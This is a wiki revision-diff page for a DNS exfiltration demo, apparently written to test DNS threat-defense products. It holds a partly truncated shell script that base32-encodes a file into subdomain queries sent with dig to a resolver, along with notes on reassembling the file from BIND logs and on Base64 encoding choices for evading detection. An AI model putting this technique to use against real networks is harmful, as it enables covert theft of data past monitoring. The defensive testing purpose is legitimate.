dns:dns_exfiltration
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| dns:dns_exfiltration [2023/06/08 09:21] – [Simple Exfiltration] bstafford | dns:dns_exfiltration [2023/11/29 15:02] (current) – [DNS Exfiltration Demo] bstafford | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| ===== DNS Exfiltration Demo ===== | ===== DNS Exfiltration Demo ===== | ||
| [[https:// | [[https:// | ||
| + | ===== Base64 ===== | ||
| + | Base64. Contains uppercase letters and defaults to allowing = and / etc. This is not recommended as it can make it easier to detect attacks as ' | ||
| + | |||
| + | However, Base32 isn't available natively in many scripting toolsets. Base64 is. So some attackers use Base64 to avoid having to write their own Base32 conversion code. | ||
| + | |||
| + | |||
| ===== Simple Exfiltration ===== | ===== Simple Exfiltration ===== | ||
| Note that the BIND logs will be approximately 17 times the size of the transferred file. | Note that the BIND logs will be approximately 17 times the size of the transferred file. | ||
| - | < | + | |
| - | # File to be exfiltrated | + | Note that this is actually two scripts as the last few commands are to be run on the DNS auth server to decrypt the logs. |
| + | < | ||
| SOURCE=/ | SOURCE=/ | ||
| Line 17: | Line 24: | ||
| # sub-domain off SLD that we change for every file | # sub-domain off SLD that we change for every file | ||
| - | SUBDOM=nw | + | SUBDOM=asdf |
| # Target DNS server (e.g. NIOS with DFP or BloxOne Host) | # Target DNS server (e.g. NIOS with DFP or BloxOne Host) | ||
| - | LOCALDNS=192.168.11.154 | + | # Public IP is the BloxOne Threat Defense IP address |
| + | #LOCALDNS=192.168.11.154 | ||
| + | LOCALDNS=52.119.41.100 | ||
| - | # Log file that the DNS queries can be found in on the authoratative | + | # Log file that the DNS queries can be found in on the authoritative |
| - | BIND_LOG_FILE=/ | + | BIND_LOG_FILE=/ |
| - | # File to put the decrypted, received file into (should be a replicat | + | # File to put the decrypted, received file into (should be a replica |
| DECRYPTEDOUTPUT=/ | DECRYPTEDOUTPUT=/ | ||
| Line 35: | Line 44: | ||
| # Then replace the whitespace at the start of each line with nothing (i.e remove it) | # Then replace the whitespace at the start of each line with nothing (i.e remove it) | ||
| # Then replace the TAB between the number and domain with a " | # Then replace the TAB between the number and domain with a " | ||
| - | base32 $SOURCE | tr -d ' | + | base32 $SOURCE | tr -d ' |
| - | # The result is a file that contains a hugh list of FQDN's for us to query (exfiltrate) | + | # The result is a file that contains a huge list of FQDN's for us to query (exfiltrate) |
| - | # Use DIG to iterate over the file and resolve the DNS at full speed. | + | # Exfiltrate |
| dig +short A @$LOCALDNS -f $ENCRYPTED | dig +short A @$LOCALDNS -f $ENCRYPTED | ||
| - | |||
| - | # OR - if you want to add a delay into the exfiltration, | ||
| - | # for i in $(cat $ENCRYPTED); | ||
| + | # Delay if required. | ||
| + | #for i in $(cat $ENCRYPTED); | ||
dns/dns_exfiltration.1686216108.txt.gz · Last modified: by bstafford
